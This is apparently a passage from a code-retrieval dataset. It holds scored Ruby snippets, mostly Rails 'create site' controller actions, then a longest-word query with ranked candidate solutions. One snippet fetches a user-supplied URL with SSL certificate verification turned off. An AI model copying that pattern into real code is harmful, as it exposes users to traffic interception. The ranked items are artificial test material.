@user_site }\n else\n format.html { render :new }\n format.json { render json: @user_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9845b23936a460ea0511906eb65751e9", "score": "0.5822502", "text": "def create\n @admin_site = Admin::Site.new(admin_site_params)\n\n respond_to do |format|\n if @admin_site.save\n format.html { redirect_to @admin_site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @admin_site }\n else\n format.html { render :new }\n format.json { render json: @admin_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be25129e3d6dbd1f083e23d3fe71560c", "score": "0.58222836", "text": "def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render action: 'show', status: :created, location: @site }\n else\n format.html { render action: 'new' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ac395b3d8f93d00cfbb11e1f2bb174b5", "score": "0.58146924", "text": "def create\n @web_site = WebSite.new(params[:web_site])\n\n respond_to do |format|\n if @web_site.save\n format.html { redirect_to @web_site, notice: 'Web site was successfully created.' }\n format.json { render json: @web_site, status: :created, location: @web_site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @web_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ec7b41f386a9b6a00e4e7089e423578", "score": "0.57998383", "text": "def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n flash[:success] = 'Site was successfully created.'\n format.html { redirect_to @site}\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85f624b9ca21e24fec1a59dafa0c20e1", "score": "0.5797068", "text": "def index\n @sites = Site.all\n render json: @sites\n end", "title": "" }, { "docid": "1350bd53bc3fddd7a7d82b6b38c5091f", "score": "0.57925826", "text": "def create\n @user = current_user\n @site = @user.sites.find_by_subdomain!(request.subdomain)\n\n @page = @site.pages.build(params[:page])\n\n respond_to do |format|\n if @page.save\n format.html { redirect_to edit_page_path(@page), notice: 'Page was successfully created.' }\n format.json { render json: @page, status: :created, location: @page }\n else\n format.html { render action: \"new\" }\n format.json { render json: @page.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "75f492ff6399c13d4cc719e16e209ae7", "score": "0.578657", "text": "def create\n template_id = params[:template_id]\n template_site = Site.find(template_id.to_i)\n new_site = template_site.deep_clone include: [ :images, ], except: [ :name, :site_type, :title ]\n new_site.save\n\n if request.xhr?\n render :json => {:redirect => edit_site_path(new_site.id) }, :status => 200\n else\n redirect_to :action => \"edit\", :id => new_site.id\n end\n end", "title": "" }, { "docid": "11830392c3989a94650e24d5f59cae9e", "score": "0.5785321", "text": "def create\n @siteship = Siteship.new(params[:siteship])\n\n respond_to do |format|\n if @siteship.save\n format.html { redirect_to @siteship, notice: 'Siteship was successfully created.' }\n format.json { render json: @siteship, status: :created, location: @siteship }\n else\n format.html { render action: \"new\" }\n format.json { render json: @siteship.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4e52273db460952411e048f21ebe8256", "score": "0.5781535", "text": "def project_site_params\n params.require(:project_site).permit(:address, :city, :state_id, :zipcode, :access_code, :map_link)\n end", "title": "" }, { "docid": "e2e8d2b960dd779a4527b0777619deb7", "score": "0.5776834", "text": "def index\n @projectsites = Projectsite.all\n end", "title": "" }, { "docid": "91702e5cfbfbc94bd32376bdda5e8f0e", "score": "0.5764913", "text": "def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to editor_sites_path, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n @errors = @site.errors\n format.html { render :new, :layout => 'base' }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1c3ad7e014391626bba4a9ddf462d70d", "score": "0.5761262", "text": "def create\n @projects = params[:projects].map do |project_hash|\n Project.new(project_params(project_hash))\n end\n\n @projects.each do |project|\n project.take_app_screenshot!\n end\n \n projects_saved = @projects.all?(&:save)\n\n if projects_saved\n add_collaborators(@projects)\n end\n\n respond_to do |format|\n format.html { redirect_to user_path(current_user) + '#projects'}\n # format.json { render action: 'show', status: :created, location: @project }\n end\n end", "title": "" }, { "docid": "606a0770b03cd3d7a027749b2586799c", "score": "0.5758743", "text": "def projectsite_params\n params.require(:projectsite).permit(:level, :group_id, :name, :worksite)\n end", "title": "" }, { "docid": "9f864366a343f0ad3a9080793213b6f3", "score": "0.5753115", "text": "def create\n @site = Site.new(params[:site])\n\n respond_to do |format|\n if @site.save\n @membership = Membership.new({:site_id => @site.id, :user_id => current_user.id, :role_id => 1})\n @membership.save\n format.html { redirect_to root_url(subdomain: @site.subdomain), notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "609ce899425c8658f9b2e937d3516147", "score": "0.5750672", "text": "def create\n @site = Site.new(site_params)\n respond_to do |format|\n if @site.save\n set_updater\n if params[:site][\"initial_zone\"]\n zone = @site.zones.create(name: params[:site][\"initial_zone\"], updated_by_id: current_user.id)\n basin = zone.basins.create(name: \"Tank1\")\n end\n if params[:reports_attributes]\n params[:reports_attributes].each do |report|\n @site.reports.create(image: report[:report_path])\n end\n end\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19e919e056b9238933d6d1e7ce20e37d", "score": "0.5748754", "text": "def create\n @participating_site = ParticipatingSite.new(participating_site_params)\n\n respond_to do |format|\n if @participating_site.save\n format.html { redirect_to @participating_site, notice: 'Participating site was successfully created.' }\n format.json { render :show, status: :created, location: @participating_site }\n else\n format.html { render :new }\n format.json { render json: @participating_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d8b305f2d9007ca51ea3f5eee13529a7", "score": "0.5738864", "text": "def create\n @scrapsite = Scrapsite.new(scrapsite_params)\n\n respond_to do |format|\n if @scrapsite.save\n format.html { redirect_to @scrapsite, notice: 'Scrapsite was successfully created.' }\n format.json { render :show, status: :created, location: @scrapsite }\n else\n format.html { render :new }\n format.json { render json: @scrapsite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "499436d2929b168efce0968cb34e089f", "score": "0.5733114", "text": "def create\n @top_site = TopSite.new(top_site_params)\n\n respond_to do |format|\n if @top_site.save\n format.html { redirect_to @top_site, notice: 'Top site was successfully created.' }\n format.json { render json: @top_site, status: :created }\n else\n format.html { render :new }\n format.json { render json: @top_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f096a9b41dc103a92f773c4db6fe6985", "score": "0.5718712", "text": "def create\n @site = Site.find(params[:site_id])\n @environment = @site.environments.new(params[:environment])\n\n respond_to do |format|\n if @environment.save\n format.html { redirect_to site_environment_path(@site, @environment), :notice => 'Environment was successfully created.' }\n format.json { render :json => @environment, :status => :created, :location => @environment }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @environment.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c42d7d8441fc6e657d8d840b8716fec", "score": "0.5715654", "text": "def create\n @slh_site = SlhSite.new(params[:slh_site])\n\n respond_to do |format|\n if @slh_site.save\n format.html { redirect_to @slh_site, :notice => 'Slh site was successfully created.' }\n format.json { render :json => @slh_site, :status => :created, :location => @slh_site }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @slh_site.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4cfcc0435f8252bc3fd295ade3d3d3a3", "score": "0.56834936", "text": "def create\n @site_page = SitePage.new(site_page_params)\n\n respond_to do |format|\n if @site_page.save\n format.html { redirect_to admin_path, notice: 'Variable was successfully created.' }\n format.json { render action: 'admin', status: :created, location: @site_page }\n else\n format.html { render action: 'new' }\n format.json { render json: @site_page.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3014c07bb28a14ffcb910582ba0d93c0", "score": "0.5679855", "text": "def create\n @network_site = NetworkSite.new(network_site_params)\n\n respond_to do |format|\n if @network_site.save\n format.html { redirect_to @network_site, notice: 'Network site was successfully created.' }\n format.json { render :show, status: :created, location: @network_site }\n else\n format.html { render :new }\n format.json { render json: @network_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7296e601a39c41fcd00129f1d949f27f", "score": "0.56754124", "text": "def create\n\n if params[:site_page][:target_url].empty?\n @site_url = root_url\n else\n url = params[:site_page][:target_url]\n pos = url.rindex('/')\n split_url = pos != nil ? [url[0..pos],url[pos+1..-1]] : [url]\n @site_url = split_url[0]\n end\n\n @site_page = current_user.site_pages.build(site_page_params) do |t|\n if !params[:site_page][:target_url].empty?\n #if params[:commit] == 'Copy Site'\n doc = Nokogiri::HTML(open(params[:site_page][:target_url],\n allow_redirections: :all,\n ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE))\n t.content = SitePage.convert(doc.to_s, @site_url)\n else\n t.content = SitePage.convert(params[:site_page][:content], @site_url)\n end\n end\n\n respond_to do |format|\n if @site_page.save\n format.html { redirect_to site_pages_path, notice: 'Site page was successfully created.' }\n format.json { render json: { message: 'Site page was successfully created.'}, status: :created }\n else\n format.html { render :new }\n format.json { render json: @site_page.errors.full_messages, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d1ee99f070d5aaba504fb1b342e452d", "score": "0.56719315", "text": "def create\n @admin_site = Site.new(admin_site_params)\n\n respond_to do |format|\n if @admin_site.save\n format.html { redirect_to admin_sites_path, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @admin_site }\n else\n format.html { render :new }\n format.json { render json: @admin_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9d02aee94b23817a875a4e8c35e41ef5", "score": "0.5669987", "text": "def create\n @big_site_site = BigSite::Site.new(params[:big_site_site])\n\n respond_to do |format|\n if @big_site_site.save\n format.html { redirect_to(@big_site_site, :notice => 'Site was successfully created.') }\n format.xml { render :xml => @big_site_site, :status => :created, :location => @big_site_site }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @big_site_site.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d95229eba40599ed2c052f2fca56181a", "score": "0.56647545", "text": "def create\n @server = Server.find_or_create_by_name(params[:server_id])\n @website = @server.websites.new(params[:website])\n\n respond_to do |format|\n if @website.save!\n process_plugins\n\n format.html { redirect_to [@server, Website], notice: 'Website was successfully created.' }\n format.json { head :no_content, status: :created }\n else\n format.html { render action: \"new\" }\n format.json { render json: @website.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d6221c0008ef063c370c8d6e81a2a664", "score": "0.56629324", "text": "def deployed_sites\n deployed_since = if params[:deployed_since]\n Time.at( params[:deployed_since].to_i )\n else\n 1.minute.ago\n end\n\n # Assume that max downtime of deleter is 2 days\n # After that we have to redeploy manually\n deployed_since = [ deployed_since, 2.days.ago ].max\n\n payload = Site.order(deployed_at: :asc)\n .where('deployed_at > (?)', deployed_since)\n .includes(:current_version)\n .map do |site|\n {\n url: site.url,\n deployed_at: site.deployed_at,\n has_config: site.current_version.siterc.present?\n }\n end\n\n render json: { sites: payload }\n end", "title": "" }, { "docid": "35ca8d6cb60934408ca0418f1a5380c1", "score": "0.5660391", "text": "def create\n @event_site = EventSite.new(event_site_params)\n\n respond_to do |format|\n if @event_site.save\n format.html { redirect_to @event_site, notice: 'Event site was successfully created.' }\n format.json { render :show, status: :created, location: @event_site }\n else\n format.html { render :new }\n format.json { render json: @event_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf21270f2e671fc6ababc568fe759074", "score": "0.56529033", "text": "def create\n @registered_site = current_user.registered_sites.new(registered_site_params)\n\n respond_to do |format|\n if @registered_site.save\n format.html { redirect_to @registered_site, notice: 'Registered site was successfully created.' }\n format.json { render :show, status: :created, location: @registered_site }\n else\n format.html { render :new }\n format.json { render json: @registered_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51c1f179904ca1ad8488e25ba47801e8", "score": "0.5642815", "text": "def create\n @site = Site.new(params[:site])\n @site.user_id = current_user.id\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cb2712c704df06c92d9f2acf423de839", "score": "0.56421643", "text": "def create\n @job_site = JobSite.new(job_site_params)\n\n respond_to do |format|\n if @job_site.save\n format.html { redirect_to @job_site, notice: 'Job site was successfully created.' }\n format.json { render :show, status: :created, location: @job_site }\n else\n format.html { render :new }\n format.json { render json: @job_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "769b7a4bdf1b0c495242ac250032ed96", "score": "0.5641437", "text": "def create\n authorize! :manage, Site\n \n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to '/sites', notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "931f259ab47a1c2bfe4bf0f630ae58b2", "score": "0.56393814", "text": "def create\n @tracked_site = TrackedSite.new(tracked_site_params)\n\n respond_to do |format|\n if @tracked_site.save\n format.html { redirect_to @tracked_site, notice: 'Tracked site was successfully created.' }\n format.json { render :show, status: :created, location: @tracked_site }\n else\n format.html { render :new }\n format.json { render json: @tracked_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "910c81addd25bce2c6b1d524987ef7d0", "score": "0.5637823", "text": "def new\n @site = Site.find(params[:site_id])\n @environment = @site.environments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @environment }\n end\n end", "title": "" }, { "docid": "9a85bec0813395a5d4cfbf876b1aa3c0", "score": "0.5637158", "text": "def create\n site = @current_user.sites.create(params[:site]) \n if site && site.errors.empty? \n redirect_to setup_site_path(site) and return\n else\n redirect_to :back and return\n end\n end", "title": "" }, { "docid": "f6069bd3ea3d87f4007efc4ccb0d7036", "score": "0.5630432", "text": "def create\n @site = Site.new(site_params)\n\n respond_to do |format|\n if @site.save\n format.html { redirect_to @site, notice: 'Site was successfully created.' }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6a314dfa13c83b3beeabb967edced9e", "score": "0.5622351", "text": "def create\n @project_site_information = ProjectSiteInformation.new(project_site_information_params)\n\n respond_to do |format|\n if @project_site_information.save\n format.html { redirect_to @project_site_information, notice: 'Project site information was successfully created.' }\n format.json { render :show, status: :created, location: @project_site_information }\n format.js {render :file => \"projects/showForExistedSite.js.erb\" }\n else\n format.html { render :new }\n format.json { render json: @project_site_information.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d4bb776074f39d0d2fb73ff8d39db38c", "score": "0.5618915", "text": "def create\n @website = @website_user.websites.new(website_params)\n\n if @website.save\n render json: { status: :created, location: @website }\n else\n render_error(@website)\n end\n end", "title": "" }, { "docid": "1ad6e3e6958b4d16b46e796c6a0ab596", "score": "0.5617105", "text": "def create\n @site = Site.new(params[:site])\n @site.user_id = current_user.id\n\n respond_to do |format|\n if @site.save\n session[:site_id] = @site.id\n format.html { redirect_to site_steps_path, notice: '网站名称设定成功.' }\n format.json { render json: @site, status: :created, location: @site }\n else\n format.html { render action: \"new\" }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59a19ff1d4a5ae706c1e45d2f5257cf8", "score": "0.56154376", "text": "def create\n @jobsite = Jobsite.new(params[:jobsite])\n\n respond_to do |format|\n if @jobsite.save\n format.html { redirect_to @jobsite, notice: 'Jobsite was successfully created.' }\n format.json { render json: @jobsite, status: :created, location: @jobsite }\n else\n format.html { render action: \"new\" }\n format.json { render json: @jobsite.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21d3db39579925f731d5dfa55763ad6a", "score": "0.56141937", "text": "def create_new_site\n create_site.click\n end", "title": "" }, { "docid": "1e4d9b34ec8dd176c580a882aca00efc", "score": "0.5599861", "text": "def create\n @sitepage = current_user.sitepages.build(sitepage_params)\n\n respond_to do |format|\n if @sitepage.save\n format.html { redirect_to @sitepage, notice: 'Sitepage was successfully created.' }\n format.json { render :show, status: :created, location: @sitepage }\n else\n format.html { render :new }\n format.json { render json: @sitepage.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65b2a756c7e2ebb0ce72452821e6ce27", "score": "0.5592138", "text": "def new_site\n case request.request_method_symbol\n when :get\n @site = current_user.sites.build\n when :post\n @site = current_user.sites.build(_site_params)\n if @site.valid?\n SiteManager.new(@site).create\n redirect_to assistant_player_path(@site), notice: t('flash.sites.create.notice')\n end\n end\n end", "title": "" }, { "docid": "f94dd0d6aa0ecc99c009cecad8a4d73a", "score": "0.55890715", "text": "def create_site(user_id, domain, site_title)\n\trequest_type = \"POST\"\n\turl = \"user/#{user_id}/site\"\n\tdata = {'domain'=>domain, 'site_title'=>site_title}\n\tcontent = data.to_json\n\thash = create_hmac(request_type, url, content)\n\tresponse = http_send(request_type, url, hash, content)\nend", "title": "" }, { "docid": "0eb37a04ebca2168ad507ee15b6c7e0e", "score": "0.55888164", "text": "def site_params\n params.require(:site).permit(:client_id, :description, :plan_id, :primary_domain_id, \n :domains_attributes => [:id, :site_id, :url, :ssl_enabled]\n )\n end", "title": "" }, { "docid": "80fb8ecc932a1afc37c32b3e628125fd", "score": "0.55855286", "text": "def create\n @tourist_site = TouristSite.new(tourist_site_params)\n\n respond_to do |format|\n if @tourist_site.save\n format.html { redirect_to @tourist_site, notice: 'Tourist site was successfully created.' }\n format.json { render :show, status: :created, location: @tourist_site }\n else\n format.html { render :new }\n format.json { render json: @tourist_site.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d98e35a1232608f822578bfaeb3f975", "score": "0.5584289", "text": "def new\n @site = current_user.company.sites.build\n authorize! :create, @site\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "819402fe84e5a1685ec5dd32bd642c4c", "score": "0.55825406", "text": "def new\n @user = current_user\n @site = @user.sites.build\n @page = @site.pages.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @site }\n end\n end", "title": "" }, { "docid": "23c63e08ce42492241ca8c614b613ea7", "score": "0.558125", "text": "def project_site_params\n params.require(:project_site).permit(:site_name, :site_address, :site_city, :site_zip, :site_access, :state_id, project_site_informations_attributes: [:id, :project_id])\n end", "title": "" }, { "docid": "abae7c2f567e386ed9127bea3a9ae5dc", "score": "0.5579008", "text": "def create\n @site = Site.new(site_params)\n respond_to do |format|\n begin\n if @site.save\n flash[:success] = 'Site was successfully created.'\n format.html { redirect_to admin_site_url(@site) }\n format.json { render :show, status: :created, location: @site }\n else\n format.html { render :new }\n format.json { render json: @site.errors, status: :unprocessable_entity }\n end\n rescue Exception => e\n flash[:danger] = \"Oops! Something went wrong: #{e.message}\"\n format.html { render :new }\n end\n end\n end", "title": "" } ]
89878a4835d3479e1e27a46b148825b4
def find_longest_word (string) array = string.split(" ") count_array = [""] i = 0 array.length.times do split = array[i].split('') j = 0 split.length.times do split[j] j=j+1 end count_array "longest"What is the longest word in this phrase? split = ["W", "h", "a", "t"] j = 0 split.length.times do p split[j] j+=1 end p j split.length.times do p split[j] j+=1 end p j
[ { "docid": "6e15233991832f49781c32a9fb1c4b4f", "score": "0.8728278", "text": "def find_longest_word(string)\n array = string.split(\" \")\n p array\n array.max_by(&:length) \nend", "title": "" } ]
[ { "docid": "39c4e800bb790a66c97c488bb3d1d147", "score": "0.87809885", "text": "def find_longest_word(input_string)\n array = input_string.split(\" \")\n array.max_by {|word| word.length}\nend", "title": "" }, { "docid": "2ce4a14e0428bc8f24a7fd22abb11f1e", "score": "0.8591637", "text": "def longest_word(phrase)\n longestWord = \"\"\n longestWordLength = 0\n \n wordArray = phrase.split(\" \")\n wordArray.each do |word|\n if word.length > longestWordLength\n longestWord = word\n longestWordLength = word.length\n end\n end\n return longestWord\nend", "title": "" }, { "docid": "b8c19fe0655fd83baeac10b04c27b9c8", "score": "0.8514478", "text": "def longest_word(string)\n\t\n\tsplitted_string = string.split(\" \")\n\tword_length = []\n\t\n\tsplitted_string.each { |word| word_length << word.length }\n\t\n\tmax = word_length.max\n\tidx = word_length.index(max)\n\tsplitted_string[idx]\n\t\nend", "title": "" }, { "docid": "cab47d77fff4ab09f03af349457b78d5", "score": "0.849687", "text": "def find_longest_word(input)\n array = input.split(\" \")\n array.sort! { |x, y| y.length <=> x.length }\n array[0]\nend", "title": "" }, { "docid": "09a74aa8270a2fda8b62a75e50c905ac", "score": "0.84806246", "text": "def LongestWord(sen)\n words = sen.split(' ').map do |i|\n /[a-zA-Z0-9]+/.match(i)\n end\n\n longest = words.max_by.each do |i|\n i.to_s.length\n end\n\n longest\n\nend", "title": "" }, { "docid": "3d7bb562ca76aa46d45c5d50acc94067", "score": "0.83906084", "text": "def get_the_longest_word(str)\n words = str.split()\n longest = [0, \"\"]\n\n for word in words\n if word.length > longest[0]\n longest[0] = word.length\n longest[1] = word\n end\n end\n\n print(longest[1])\n return longest[1]\nend", "title": "" }, { "docid": "2e8a432f6ef8ec26c4bb6b7b1018e533", "score": "0.8378802", "text": "def longest_word(str)\r\n\r\n # temporary variables created\r\n word_length = 0\r\n longest_word = \"\"\r\n\r\n # checks length of each word\r\n str.split(\" \").each {|word|\r\n\r\n if word.length >= word_length\r\n word_length = word.length\r\n longest_word = word\r\n end\r\n\r\n }\r\n\r\n longest_word\r\nend", "title": "" }, { "docid": "5f5b9165e4249454c2153525f64be976", "score": "0.83670187", "text": "def word_counter(string)\n array = string.downcase.split(\" \")\n word_count = array.count\n the_count = array.count(\"the\")\n\n # option 1 for getting longest work\n # longest_word = \"\"\n # array.each do |x|\n # longest_word = x if longest_word.length < x.length\n # end\n\n # option 2 for getting longest word\n longest_word = array.max_by { |x| x.length }\n\n puts \"The number of words is #{word_count}, the longest word is #{longest_word}, and 'the' is used #{the_count} times.\"\nend", "title": "" }, { "docid": "907682b057df352787af9e81582592cc", "score": "0.8348243", "text": "def longest_word(sentence)\n\t\n\tarr = sentence.split(\" \")\n\tarr = []\n\tlongest = \"\"\n\t\n\tarr.each do |word|\n\tlongest = word if longest.length < word.length\t\n end\n return longest\nend", "title": "" }, { "docid": "27d236aa1f14b79b21eafad5a70d6913", "score": "0.82664067", "text": "def longest_word(string_of_words)\n # Give me back the longest word!\n longest = \"\"\n string_of_words.split(\" \").each do | word |\n if longest.length <= word.length\n longest = word\n end\n end\n return longest\nend", "title": "" }, { "docid": "4abaf1f1e01743e8ff3c297982813e0c", "score": "0.8259048", "text": "def LongestWord(sen)\n arr = sen.split(' ')\n longest = arr[0]\n arr.each do |word|\n if word.length > longest.length\n longest = word\n end\n end\n return longest\nend", "title": "" }, { "docid": "a85029aa619714046f6d94ce3161a0fc", "score": "0.8249372", "text": "def longest(str)\n count = 0\n str.split(\" \").each {|word| count = word.length if word.length > count}\n p count\nend", "title": "" }, { "docid": "8c6a044915f3797e76bd9e4b70df11ef", "score": "0.8245267", "text": "def longest_word(sen)\n tmp_arr = sen.split(\" \")\n tmp_longest = 0\n tmp_arr.each do |i|\n tmp_longest = i.size if i.size > tmp_longest\n end\n\n tmp_arr.select { |i| i.size == tmp_longest }.first\nend", "title": "" }, { "docid": "6b44f37b819e146d80490eec8d9cf0b0", "score": "0.8241302", "text": "def find_longest_word(sentence)\n words = sentence.downcase.tr(\"^a-z\", \" \").split\n longest = \"\"\n words.each do |word|\n if word.length > longest.length\n longest = word\n end\n end\n return longest\n\nend", "title": "" }, { "docid": "4d784da835f79a8437480aaadb8244f8", "score": "0.8239329", "text": "def longest_word(sentence)\n words = sentence.split(\"\") #This automically creates a new array with the string split already right?\n idx = 0\n # initially the longest word is empty\n \n longest_w = ''\n \n # We will loop over the current word.\n \n while idx < words.length\n if (words[idx].length > longest_w.length)\n longest_w = words[idx]\n else \n longest_w = longest_w\n end\n \n idx = idx + 1\n end\n \n return longest_w\nend", "title": "" }, { "docid": "89b1de491767fd8da708dd7f11fcc786", "score": "0.8227828", "text": "def longest_word(sen)\n words = sen.split\n words.map! { |word| word.delete('^A-Za-z1-9_\\'') }\n longest = words.first\n words.each_with_index do |word, idx|\n next if idx >= words.size - 1\n longest = longest.size < words[idx + 1].size ? words[idx + 1] : longest\n end\n longest\nend", "title": "" }, { "docid": "d547d2e2cf0a01e1e9dc444163ff9ff3", "score": "0.82218176", "text": "def old_longest_word(str)\n words = str.split\n longest_word = \"\"\n\n words.each do |word|\n if word.length > longest_word.length\n longest_word = word\n end\n end\n\n longest_word\nend", "title": "" }, { "docid": "58dc224d2631b176bf453bad7cc09d61", "score": "0.8220241", "text": "def find_longest_word(sentence)\n words = sentence.split\n # x = 0\n # y = words[x]\n z = words[0]\n\n words.each do |word|\n\n if word.length > z.length\n z = word\n end\n # x += 1\n end\n z\nend", "title": "" }, { "docid": "3322b7f3c7b4892f60ac5dd6f52df8df", "score": "0.82128066", "text": "def LongestWord(str)\n words = str.split.map { |s| s.gsub(/\\W/, '') }\n longest = words [0]\n words.each { |word| longest = word if word.length > longest.length }\n longest\nend", "title": "" }, { "docid": "0b58e7ca8ff42853e7f6fc15fa4b4373", "score": "0.8187676", "text": "def longest_word(str)\n longest_word = \"\"\n words = str.split(' ')\n\n words.each do |word|\n if word.length > longest_word.length\n longest_word = word\n end\n end\n return longest_word\nend", "title": "" }, { "docid": "2ae55c66676cb6880c04a33972681c6f", "score": "0.81386834", "text": "def longest_word (sen)\n i = 0\n while i < sen.length do\n # negated regex boolean\n if sen[i] !~ /[a-z]|\\s/\n sen.slice!(i)\n else\n sen[i]\n i += 1\n end\n end\n return sen.split(\" \").max_by(&:length).length\nend", "title": "" }, { "docid": "0a1438edd23d1cdd5b875ac90f49f757", "score": "0.8132795", "text": "def longest_word(sentence)\n words = sentence.split(\"\\s\")\n \n max_word = nil\n for word in words do\n if max_word == nil \n max_word = word\n elsif word.length > max_word.length \n max_word = word\n end\n end\n \n return max_word\nend", "title": "" }, { "docid": "a8a124f2453a3f50a02844b3e7ff353f", "score": "0.8124126", "text": "def longest_word(sentence)\n\n arr = sentence.split\n idx = arr.length\n cmp = []\n\n n = idx\n while n >= 0\n\n word = arr[n].to_s\n word_length_string = word.length\n word_length_integer = word_length_string.to_i\n cmp.unshift(word_length_integer)\n\n n = n - 1\n end\n\n n = 0\n longest_length = 0\n position = 0\n while n < cmp.length\n if cmp[n] > longest_length\n longest_length = cmp[n]\n position = n\n end\n n = n + 1\n end\n\nreturn arr[position]\n\nend", "title": "" }, { "docid": "835c934db8f8e4a92d4023de547a0e00", "score": "0.81129867", "text": "def find_longest_word(string)\n sentence = string.split\n longest_word = \"\"\n sentence.each do |word|\n word.gsub!(/\\W/, \"\") # filters out non alphanumeric\n longest_word = word if word.length >= longest_word.length\n end\n longest_word\nend", "title": "" }, { "docid": "f0044f3bbb33b5f962df0326e2ab3799", "score": "0.81076264", "text": "def get_the_longest_word(str)\n str.split(\" \").sort! {|s, l| l.length <=> s.length}[0]\nend", "title": "" }, { "docid": "655acbeaf8a83330ba0ea4117885207c", "score": "0.81069106", "text": "def longest_word(sentence)\n word_arr = sentence.split\n longest = word_arr.shift\n \n word_arr.each do |word|\n longest = word if word.length >= longest.length\n end\n\n longest\nend", "title": "" }, { "docid": "a16e6052502c82a9229d07ab49a41440", "score": "0.80933887", "text": "def longest_word(sentence)\n\tarr = sentence.split(\" \")\n\tp arr\n\titer = 0\n\twhile iter < arr.length\n\t\tlongest_word = nil\n\t\tcurrent_word = arr[iter]\n\t\tif longest_word == nil\n\t\t\tlongest_word = current_word\n\t\telsif longest_word.length < current_word.length\n\t\t\tlongest_word = current_word\n\t\tend\n\t\titer+=1\n\tend\n\treturn longest_word\nend", "title": "" }, { "docid": "5e5b33cfa2f00f4d9b5a1b9c5d951418", "score": "0.80857843", "text": "def longest(array)\n\tsentenceSplit = sentence\n\tlongestWord = 0\n\tsentenceSplit.each do |word|\n\n\t\tif longestWord < sentenceSplit[word].length\n\t\t\tlongestWord = sentenceSPlit[word].length\n\t\tend\n\tend\nend", "title": "" }, { "docid": "a20abd4200c8a4daabb066270d16404b", "score": "0.80674994", "text": "def longest_word(sentence)\n result = \"\"\n sentence.split.each do |word|\n if word.length > result.length\n result = word\n end\n end\nresult\nend", "title": "" }, { "docid": "0ddbfaadabcd80c8bc3630e9f6c105b3", "score": "0.8054591", "text": "def longest_word(string_of_words)\n\tas_arr = string_of_words.split(\" \")\n\tlengths = as_arr.map {|string| string.length}\n\tmax_length = lengths.max\n return as_arr.reverse.detect {|string| string.length === max_length}\nend", "title": "" }, { "docid": "0afb85168cda90b545c4f3249678f080", "score": "0.80531955", "text": "def longest_word(sentence)\n longestWord = \"\" #holds word\n words = sentence.split(' ') #split sentence into array of words.\n\n words.each do |word| #loop through array of words\n if word.length > longestWord.length #if the word the loop is on is greater than the longest word.. \n longestWord = word #set the longest word to that word.\n end\n end\n return longestWord #return longest word\nend", 